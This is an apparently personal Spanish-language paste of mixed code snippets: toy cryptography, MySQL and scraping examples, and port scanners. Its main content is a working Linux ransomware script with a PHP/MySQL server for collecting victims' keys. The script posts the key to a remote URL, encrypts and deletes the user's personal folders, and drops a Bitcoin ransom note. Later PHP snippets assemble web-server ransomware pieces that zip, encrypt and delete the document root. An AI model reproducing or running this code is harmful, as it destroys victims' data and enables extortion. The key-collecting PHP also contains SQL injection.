· 9 years ago · May 27, 2017, 04:40 PM
1cifrado desplazamiento
2-------------------------------------------------------------------------------------
3#!/usr/bin/python
4# -*- coding: utf-8 -*-
5
6def cifrar(desplazamiento, texto):
7 texto_cifrado = ""
8 for caracter in texto:
9 texto_cifrado = texto_cifrado + chr(ord(caracter) + desplazamiento)
10 return texto_cifrado
11
12texto_original = "Cifrado y descifrado"
13desplazamiento = 3
14
15print "Texto Cifrado: " + cifrar(desplazamiento, texto_original)
16print "Texto Descifrado " + cifrar(-desplazamiento, cifrar(desplazamiento, texto_original))
17
18---------------------------------------------------------------------------------------------
19
20Diffie-Hellman
21
22import random
23import base64
24import hashlib
25import sys
26
27g=9
28p=1001
29
30a=random.randint(5, 10)
31b=random.randint(10,20)
32
33A = (g**a) % p
34B = (g**b) % p
35
36print 'g: ',g,' (compartir valor:wqes), n: ',p, ' ( numero Primo)'
37
38print '\nACalculo de alicia:'
39print 'a (Alicia random): ',a
40print 'Valor de Alicia (A): ',A,' (g^a) mod p'
41
42print '\nBob calcula :'
43print 'b (Bob random): ',b
44print 'Valor de Bob (B): ',B,' (g^b) mod p'
45
46print '\nAlicia Calcula:'
47keyA=(B**a) % p
48print 'Key: ',keyA,' (B^a) mod p'
49print 'Key: ',hashlib.sha256(str(keyA)).hexdigest()
50
51print '\nBob calcula :'
52keyB=(A**b) % p
53print 'Key: ',keyB,' (A^b) mod p'
54print 'Key: ',hashlib.sha256(str(keyB)).hexdigest()
55
56----------------------------------------------------------------------
57cp di
58md5
59
60from Crypto.Hash import MD5
61m = MD5.new()
62m.update('Hola mundo')
63print m.hexdigest()
64-----------------------------------------------------------------
65
66des
67
68from Crypto.Cipher import DES
69# Como usamos DES, los bloques son de 8 caracteres.
70# Rellenamos con espacios (que habra que eliminar al descifrar).
71usuario = "John "
72password = "Lennon "
73# creamos el cifrador con DES
74cipher = DES.new('12345678')
75# ciframos usuario y password
76c_usuario = cipher.encrypt(usuario)
77c_password = cipher.encrypt(password)
78# enviamos credenciales (a la pantalla en este caso)
79print "El cliente envia:"
80print "Usuario: " + c_usuario
81print "Password: " + c_password
82
83#------------------------------------------------------------------
84# a partir de aqui simulamos el servidor donde llegan los mensajes
85# cifrados.
86# desciframos mensajes y quitamos espacios con strip()
87cipher = DES.new('12345678')
88d_usuario = cipher.decrypt(c_usuario).strip()
89d_password = cipher.decrypt(c_password).strip()
90print "El servidor descifra:"
91print "Usuario: " + d_usuario
92print "Password: " + d_password
93
94----------------------------------------------------------------
95
96Ransomware escritorio
97
98
99instalar lo siguiente:
100
101Instalar Servidor Apache:
102sudo apt -get update
103sudo apt -get install apache2
104
105Instalar Servidor Mysql
106sudo apt-get install mysql-server
107
108Instalar PHP5
109sudo apt-get install libapache2-mod-php5 php5 php5-mcrypt php5-mysql
110
111---------------------------------------------------------------
112
113crear base de datos
114
115CREATE DATABASE ransomware_db;
116USE ransomware_db;
117CREATE TABLE victimas (ID int NOT NULL AUTO_INCREMENT,
118 IDD varchar(35),
119 PASS varchar(35),
120 PRIMARY KEY (ID));
121
122
123
124
125php
126
127<?php
128$server = "localhost";
129$username = "root";
130$password = "";
131$dbname = "ransomware_db";
132$pass = (string)$_POST['pass'];
133$id = (string)$_POST['id'];
134$conn = new mysqli($server, $username, $password, $dbname);
135if ($conn->connect_error) {
136 die("Connection failed: " . $conn->connect_error);
137}
138$sql = "INSERT INTO victimas (IDD, PASS) VALUES ('$id', '$pass');";
139if ($conn->query($sql) === TRUE) {
140 echo "Ok.";
141} else {
142 echo "Error: " . $sql . "<br>" . $conn->error;
143}
144$conn->close();
145?>
146
147
148
149#!/usr/bin/python3
150
151import os
152import sys
153import subprocess
154import random
155import string
156import requests
157import re
158
159def linux():
160 if(os.geteuid() == 0):
161 directories.append('/root/')
162
163 #Genera el password de cifrado
164 s = string.ascii_lowercase + string.digits
165 pwd = str(''.join(random.sample(s, 30)))
166
167 #Genera un ID unico
168 t = string.ascii_lowercase
169 idd = str(''.join(random.sample(t, 10)))
170
171 #se ejecutan las funciones para cifrar los datos
172 sendCred(url, pwd, idd)
173 crypt(directories, pwd)
174 howto(directories, bitcoin, price)
175 decryptGen(str(directories))
176
177
178def sendCred(url, pwd, idd):
179 values = {'pass' : pwd,'id' : idd}
180 r = requests.post(url, values)
181 page = r.text
182 if(page != 'Ok.'):
183 sys.exit('Ocurrio un error al enviar las credenciales')
184
185def crypt(directory, pwd):
186
187 if(type(directory) != list):
188 sys.exit('El formato recibido es incorrecto!')
189
190 for dirr in directory:
191 os.chdir(dirr)
192 os.system('tar cvf encrypted.tar *')
193 os.system('find . ! -name encrypted.tar -type f -delete')
194 os.system('find . ! -name encrypted.tar -type d -delete')
195 os.system('echo ' + pwd + ' | gpg --passphrase-fd 0 -c encrypted.tar')
196 os.system('rm encrypted.tar')
197 os.chdir('../')
198 print "------------------- "
199
200def howto(directory, bitcoin, price):
201 txt = "\n"
202 txt +="Hola te estaras preguntando Que paso con tus archivos?\n"
203 txt +="todos ellos fueron cifrados con RSA-2048\n"
204 txt +="si los quieres recuperar me debes pagar : """ + str(price) + "\n"
205 txt +="Mi direccion de bitcoins es: " + bitcoin + "\n"
206 txt +="1 bitcoin ~= 240 US $ aproximadamente \n"
207 txt +="Cuando recibas el password usa el archivo decrypt.py\n\n"
208 txt +="que tengas un lindo dia y mejor suerte para la otra :)\n\n "
209 archivo = open("recuperar-mis-archivos.txt","wb")
210 archivo.write(txt)
211 archivo.close()
212 for dirr in directory:
213 os.system("cp 'recuperar-mis-archivos.txt' " + dirr)
214
215
216def decryptGen(directory):
217 txt = ""
218 txt +="#!/usr/bin/python3\n"
219 txt +="import os\n"
220 txt +="import sys\n"
221 txt +="directory = " + directory + "\n"
222 txt +="pwd = raw_input('Ingrese el password para decifrar los archivos: ')\n"
223 txt +="for dirr in directory:\n"
224 txt +=" os.chdir(dirr)\n"
225 txt +=" if(os.system('gpg --passphrase ' + pwd + ' -d encrypted.tar.gpg > unencrypted.tar') != 0):\n"
226 txt +=" sys.exit('Password Incorrecto!')\n"
227 txt +=" os.system('tar xvf unencrypted.tar')\n"
228 txt +=" os.system('rm unencrypted.tar')\n"
229 txt +=" os.system('rm encrypted.tar.gpg')\n"
230 txt +=" os.system('rm unencrypted.tar')\n"
231 txt +=" os.system('rm recuperar-mis-archivos.txt')\n"
232 txt +=" os.chdir('../')\n"
233 archivo = open("decrypt.py","wb")
234 archivo.write(txt)
235 archivo.close()
236
237#directorios a cifrar
238directories = ['Documentos','Videos' , 'Descargas' , 'Imagenes' , 'Musica']
239bitcoin = 'aAhR54GVf45FFf3q2kL' #ingresa aqui tu direccion de BitCoin
240price = 3 # Ingresa el monto a pedir
241url = 'http://localhost/datosvictima.php' #ingresa la Url a donde se va enviar el id y password
242
243#verificar que sistema operativo esta detras
244if(sys.platform == 'Linux' or sys.platform == 'linux2'):
245 linux()
246elif(sys.platform == 'Windows'):
247 sys.exit('Soon supported !')
248else:
249 sys.exit('Not supported !')
250
251
252------------------------------------------------------------------------------
253
254python mysql
255
256#!/usr/bin/python
257
258import MySQLdb
259
260conn = MySQLdb.connect (
261 host = "localhost",
262 user = "testuser",
263 passwd = "testpass",
264 db = "test")
265
266
267cursor = conn.cursor ()
268cursor.execute ("SELECT VERSION()")
269row = cursor.fetchone ()
270print "server version:", row[0]
271cursor.close ()
272conn.close ()
273
274--------------------------------------------------------------------------------
275
276
277post http
278
279import requests
280get_response = requests.get(url='http://google.com')
281post_data = {'username':'joeb', 'password':'foobar'}
282# POST some form-encoded data:
283post_response = requests.post(url='http://httpbin.org/post', data=post_data)
284
285--------------------------------------------------------------------------------
286
287#!/usr/bin/python
288# -*- coding: utf-8 -*-
289#BeautifulSoup y requests
290
291# Importamos las librerias
292from bs4 import BeautifulSoup
293import requests
294
295# Capturamos la url ingresada en la variable "url"
296url = raw_input("Ingrese la URL: ")
297
298# Capturamos el hml de la pagina web y creamos un objeto Response
299r = requests.get("http://" +url)
300data = r.text
301print ""
302
303# Creamos el objeto soup y le pasamos lo capturado con request
304soup = BeautifulSoup(data, 'lxml')
305
306# Capturamos el titulo de la página y luego lo mostramos
307# Lo que hace BeautifulSoup es capturar lo que esta dentro de la etiqueta title de la url
308titulo = soup.title.text
309print "El titulo de la pagina es: " + titulo
310print ""
311
312# Buscamos todas etiquetas HTML (a) y luego imprimirmos todo lo que viene despues de "href"
313for link in soup.find_all('a'):
314 print(link.get('href'))
315
316
317-------------------------------------------------------------------------
318
319#!/usr/bin/env python
320# -*- coding: utf-8 -*-
321
322#-----------------------------------------------------------------------------
323# Incluimos los módulos necesarios.
324#-----------------------------------------------------------------------------
325from urllib2 import urlopen
326from BeautifulSoup import BeautifulSoup
327
328
329# Obtiene el tÃtulo de una página web.
330def obtener_titulo(url):
331
332 # Descargamos la información de la página.
333 soup = BeautifulSoup(urlopen(url))
334
335 # Devolvemos únicamente el titulo de la página web.
336 return soup.title.string
337
338
339# Cuenta las etiquetas divs que aparecen en una página web.
340def contar_divs(url):
341
342 # Descargamos la información de la página.
343 soup = BeautifulSoup(urlopen(url))
344
345 # Vamos buscando las etiquetas divs.
346 divs = 0
347 for div in soup.findAll("div"):
348 divs += 1
349
350 return divs
351
352
353# El usuario escribe la url
354url = raw_input("url = ")
355
356# Mostramos la información obtenida.
357print obtener_titulo(url) + ': ' + str(contar_divs(url)
358
359---------------------------------------------------------------------------
360
361# -*- coding: utf-8 -*-
362__author__ = 'RicardoMoya'
363
364from bs4 import BeautifulSoup
365import requests
366
367URL = "http://jarroba.com/"
368
369# Realizamos la petición a la web
370req = requests.get(URL)
371
372# Comprobamos que la petición nos devuelve un Status Code = 200
373status_code = req.status_code
374if status_code == 200:
375
376 # Pasamos el contenido HTML de la web a un objeto BeautifulSoup()
377 html = BeautifulSoup(req.text, "html.parser")
378
379 # Obtenemos todos los divs donde están las entradas
380 entradas = html.find_all('div', {'class': 'col-md-4 col-xs-12'})
381
382 # Recorremos todas las entradas para extraer el tÃtulo, autor y fecha
383 for i, entrada in enumerate(entradas):
384 # Con el método "getText()" no nos devuelve el HTML
385 titulo = entrada.find('span', {'class': 'tituloPost'}).getText()
386 # Sino llamamos al método "getText()" nos devuelve también el HTML
387 autor = entrada.find('span', {'class': 'autor'})
388 fecha = entrada.find('span', {'class': 'fecha'}).getText()
389
390 # Imprimo el TÃtulo, Autor y Fecha de las entradas
391 print "%d - %s | %s | %s" % (i + 1, titulo, autor, fecha)
392
393else:
394 print "Status Code %d" % status_code
395
396-----------------------------------------------------------------------------
397
398
399import socket
400
401hosts = ["192.168.1.1", "192.168.2.1", "192.168.2.2", "192.168.2.10"]
402ports = [22, 23, 80, 443, 445, 3389]
403
404for host in hosts:
405 for port in ports:
406 try:
407 print "[+] Connecting to " + host + ":" + str(port)
408 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
409 s.settimeout(5)
410 result = s.connect_ex((host, port))
411 if result == 0:
412 print " [*] Port " + str(port) + " open!"
413 s.close()
414 except:
415 pass
416
417------------------------------------------------------------------------------------------
418
419
420nmap de python
421
422import socket
423
424hosts = ["192.168.1.1", "192.168.2.1", "192.168.2.2", "192.168.2.10"]
425ports = [22, 23, 80, 443, 445, 3389]
426
427for host in hosts:
428 for port in ports:
429 try:
430 print "[+] Connecting to " + host + ":" + str(port)
431 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
432 s.settimeout(5)
433 result = s.connect_ex((host, port))
434 if result == 0:
435 print " [*] Port " + str(port) + " open!"
436 s.close()
437 except:
438 pass
439
440------------------------------------------------------------------------------------
441
442
443comando cifrar linux
444
445 openssl enc -aes-256-cbc -salt -in file.txt -out file.txt.enc
446
447
448-------------------------------------------------------------------------------------------
449bootstrap
450
451<!DOCTYPE html>
452<html lang="es">
453 <head>
454 <meta charset="utf-8">
455 <meta name="viewport" content="width=device-width, initial-scale=1"> <!–Con esto garantizamos que se vea bien en dispositivos móviles–>
456 <title>Mi primer proyecto con Booststrap</title>
457
458 <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet" media="screen"> <!–Llamamos al archivo CSS a través de CDN –>
459 </head>
460 <body>
461 <h1>¡Hola mundo!</h1>
462 <p> Hola a todos desde OpenWebinars.net, mi primera web con Bootsrap ;(</p>
463
464 <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> <!– Importante llamar antes a jQuery para que funcione bootstrap.min.js –>
465 <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js"></script> <!– Llamamos al JavaScript a través de CDN –>
466 </body>
467</html>
468
469---------------------------------------------------------------------------------
470exec() - Ejecutar un programa externo
471escapeshellcmd() - Escapar meta-caracteres del intérprete de comandos
472passthru() - Ejecuta un programa externo y muestra la salida en bruto
473popen() - Abre un proceso de un puntero a un fichero
474shell_exec() — Ejecutar un comando mediante el intérprete de comandos y devolver la salida completa como una cadena
475
476<?php
477$salida = shell_exec('ls -lart');
478echo "<pre>$salida</pre>";
479?>
480
481---------------------------------------------------------------------------------
482
483CREATE USER 'newuser'@'localhost' IDENTIFIED BY 'password';
484GRANT ALL PRIVILEGES ON * . * TO 'newuser'@'localhost';
485FLUSH PRIVILEGES;
486
487
488<?php
489$server = "localhost";
490$username = "newuser";
491$password = "password";
492$dbname = "joomla";
493
494// Create connection
495$conn = new mysqli($server, $username, $password, $dbname);
496// Check connection
497if ($conn->connect_error) {
498 die("Connection failed: " . $conn->connect_error);
499}
500
501$sql = "SELECT SESSION_USER() as u , CURRENT_USER() as b;";
502$result = $conn->query($sql);
503
504if ($result->num_rows > 0) {
505 // output data of each row
506 while($row = $result->fetch_assoc()) {
507 echo "id: <br>", $row["u"];
508 echo "id: <br>", $row["b"];
509 }
510} else {
511 echo "0 results";
512}
513$conn->close();
514?>
515----------------------------------------------------------------------------------------------
516otro ejemplo escaneo puertos
517# -*- coding: utf-8 -*-
518import socket
519import urllib2
520
521def Verificar_Puerto(ip, puerto, timeout=3):
522 socket.setdefaulttimeout(timeout)
523 con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
524 result = con.connect((ip,puerto))
525 try:
526 desc = con.recv(2048)
527 print "Port " + str(puerto) + " Open " + str(desc)
528 except:
529 print "Port {}: Open".format(puerto)
530 finally:
531 con.close()
532
533
534Verificar_Puerto("192.168.1.142", 21)
535Verificar_Puerto("192.168.1.142", 22)
536Verificar_Puerto("192.168.1.142", 23)
537Verificar_Puerto("192.168.1.142", 25)
538Verificar_Puerto("192.168.1.142", 80)
539Verificar_Puerto("192.168.1.142", 3306)
540
541-----------------------------------------------------------------------------------------------
542
543scrapear
544
545from bs4 import BeautifulSoup
546import requests
547
548
549r = requests.get("http://toolbar.netcraft.com/site_report?url=www.ucen.cl")
550html = BeautifulSoup(r.text,"lxml")
551tabla = html.find('table')
552for col in tabla.findAll("tr"):
553 a = col.findAll("td")[0].getText()
554 b = col.findAll("td")[1].getText()
555 print "" + a + " : " + b
556
557--------------------------------------------------------------------------------------------
558
559
560listar directorios web
561
562<?php
563
564$base_url = __DIR__;
565$directorio = opendir($base_url);
566
567while ($archivo = readdir($directorio))
568{
569 if (is_dir($archivo))//verificamos si es o no un directorio
570 {
571 echo "[".$archivo . "]<br />"; //de ser un directorio lo envolvemos entre corchetes
572 }
573 else
574 {
575 echo $archivo . "<br />";
576 }
577}
578
579
580?>
581
582segundo ejemplo de listar directorio raiz
583
584<?php
585error_reporting(E_ALL);
586ini_set("display_errors", 1);
587
588function List_dir_archiv($ruta){
589$rep = opendir($ruta);//Abrimos el directorio
590while ($arc = readdir($rep)) {//Recorremos el array
591 if($arc != '..' && $arc != '.' && $arc != ''){
592 if(is_dir($ruta."/".$arc)){
593 echo ">> ".$ruta."/".$arc."<br>";
594 }else{
595 echo $ruta."/".$arc."<br>";
596 }
597 }
598}
599closedir($rep);//Cerramos el directorio
600clearstatcache(); //Limpia la caché de estado de un archivo
601}
602
603$doc_root = preg_replace("!${_SERVER['SCRIPT_NAME']}$!", '', $_SERVER['SCRIPT_FILENAME']);
604List_dir_archiv($doc_root);
605
606---------------------------------------------------------------------------------------------
607
608verificar librerias para cifrar
609
610<?php
611error_reporting(E_ALL);
612ini_set("display_errors", 1);
613function Verificar_Librerias(){
614 if (!extension_loaded('zip')){
615 echo "Ups, que mala suerte, No se puede usar este programa! <br>";
616 echo "No esta cargada la extencion Zip <br>";
617 echo "Se intentara cargar la libreria zip a la fuerza...<br>";
618 if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
619 dl('php_zip.dll');
620 } else {
621 dl('zip.so');
622 }
623 }elseif (!extension_loaded('mcrypt')){
624 echo "Ups, que mala suerte, No se puede usar este programa! <br>";
625 echo "No esta cargada la extencion mcrypt <br> ";
626 echo "Se intentara cargar la libreria mcrypt a la fuerza...<br>";
627 if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
628 dl('php_mcrypt.dll');
629 } else {
630 dl('mcrypt.so');
631 }
632 }else{
633 echo "Buenas Noticias, este script puede ser usado en este servidor :)";
634 }
635}
636
637Verificar_Librerias();
638
639?>
640
641---------------------------------------------------------------------------------------
642
643comprimir archivos del directorio raiz
644
645<?php
646error_reporting(E_ALL);
647ini_set("display_errors", 1);
648
649$zip = new ZipArchive();
650
651$filename = 'test.zip';
652
653if($zip->open($filename,ZIPARCHIVE::CREATE)===true) {
654 $zip->addFile('a.txt');
655 $zip->addFile('b.txt');
656 echo 'Creado '.$filename;
657
658}
659else {
660 echo 'Error creando '.$filename;
661}
662 $zip->close()
663?>
664
665
666ejemplo 2
667
668
669
670
671<?php
672error_reporting(E_ALL);
673ini_set("display_errors", 1);
674
675$base_dir = __DIR__;
676$doc_root = preg_replace("!${_SERVER['SCRIPT_NAME']}$!", '', $_SERVER['SCRIPT_FILENAME']);
677$base_url = preg_replace("!^${doc_root}!", '', $base_dir);
678$dir = opendir($doc_root);
679print "<> ". $base_dir . "<br>";
680print "<> ". $doc_root . "<br>";
681print "<> ". $base_url . "<br>";
682$zip = new ZipArchive();
683$filename = $doc_root.'/test.zip';
684print "Guardar en: " . $filename ."<br><br>";
685$acum = array();
686
687while ($archivo = readdir($dir))
688{
689 if($zip->open($filename,ZIPARCHIVE::CREATE)===true) {
690 if (is_dir($doc_root."/".$archivo)){ $zip->addFile($doc_root."/".$archivo); }
691 else { $zip->addFile( $doc_root."/".$archivo); }
692 }else {
693 echo 'Error al crear '. $doc_root."/".$archivo;
694 }
695}
696
697
698$zip->close();
699
700echo "---------------------<br>";
701
702?>
703-------------------------------------------------------------------------------------------------------
704
705
706cifrar y descifrar archivos comprimidos
707
708function encrypt_file($source,$destination,$passphrase,$stream=NULL) {
709 // $source can be a local file...
710 if($stream) {
711 $contents = $source;
712 // OR $source can be a stream if the third argument ($stream flag) exists.
713 }else{
714 $handle = fopen($source, "rb");
715 $contents = fread($handle, filesize($source));
716 fclose($handle);
717 }
718
719 $iv = substr(md5("\x1B\x3C\x58".$passphrase, true), 0, 8);
720 $key = substr(md5("\x2D\xFC\xD8".$passphrase, true) . md5("\x2D\xFC\xD9".$passphrase, true), 0, 24);
721 $opts = array('iv'=>$iv, 'key'=>$key);
722 $fp = fopen($destination, 'wb') or die("Could not open file for writing.");
723 stream_filter_append($fp, 'mcrypt.tripledes', STREAM_FILTER_WRITE, $opts);
724 fwrite($fp, $contents) or die("Could not write to file.");
725 fclose($fp);
726
727}
728
729function decrypt_file($file,$passphrase,$fp_salida){
730
731 $iv = substr(md5("\x1B\x3C\x58".$passphrase, true), 0, 8);
732 $key = substr(md5("\x2D\xFC\xD8".$passphrase, true) .
733 md5("\x2D\xFC\xD9".$passphrase, true), 0, 24);
734 $opts = array('iv'=>$iv, 'key'=>$key);
735 $fp = fopen($file, 'rb');
736 stream_filter_append($fp, 'mdecrypt.tripledes', STREAM_FILTER_READ, $opts);
737 $contents = stream_get_contents($fp);
738 $file = fopen($fp_salida, 'wb') or die("No se pudo crear el archivo.");
739 fwrite($file, $contents) or die("No se pudo escribir el archivo.");
740 fclose($fp);
741 fclose($fp_salida);
742}
743
744$fp = "/var/www/html/xas/b/c/compressed2.zip";
745$des ="/var/www/html/xas/b/c/compressed.enc.txt";
746$passphrase ="1234567";
747//encrypt_file($fp,$des,$passphrase);
748decrypt_file($des,$passphrase,$fp);
749
750
751$zip = new ZipArchive;
752if ($zip->open($fp) === TRUE) {
753 $zip->extractTo('/var/www/html/xas/b/c/new/');
754 $zip->close();
755 unlink($des);
756 unlink($fp);
757 echo 'Felicitaciones, ya recuperaste tus archvos :)';
758} else {
759 echo 'La clave es incorrecta!';
760 unlink($fp);
761}
762
763
764
765
766
767
768
769?>
770
771-----------------------------------------------------------------------------------------
772
773eliminar archivos
774
775
776<?php
777error_reporting(E_ALL);
778ini_set("display_errors", 1);
779
780function EliminarDirectory($dir) {
781
782 if(!$dh = @opendir($dir)) return;
783 while (false !== ($current = readdir($dh))) {
784 if($current != '.' && $current != '..') {
785 echo 'Se ha borrado el archivo '.$dir.'/'.$current.'<br/>';
786 if (!@unlink($dir.'/'.$current))
787 deleteDirectory($dir.'/'.$current);
788 }
789 }
790 closedir($dh);
791 echo 'Se ha borrado el directorio '.$dir.'<br/>';
792 @rmdir($dir);
793
794}
795
796//$doc_root = preg_replace("!${_SERVER['SCRIPT_NAME']}$!", '', $_SERVER['SCRIPT_FILENAME']);
797EliminarDirectory('/var/www/html/prueba');
798
799?>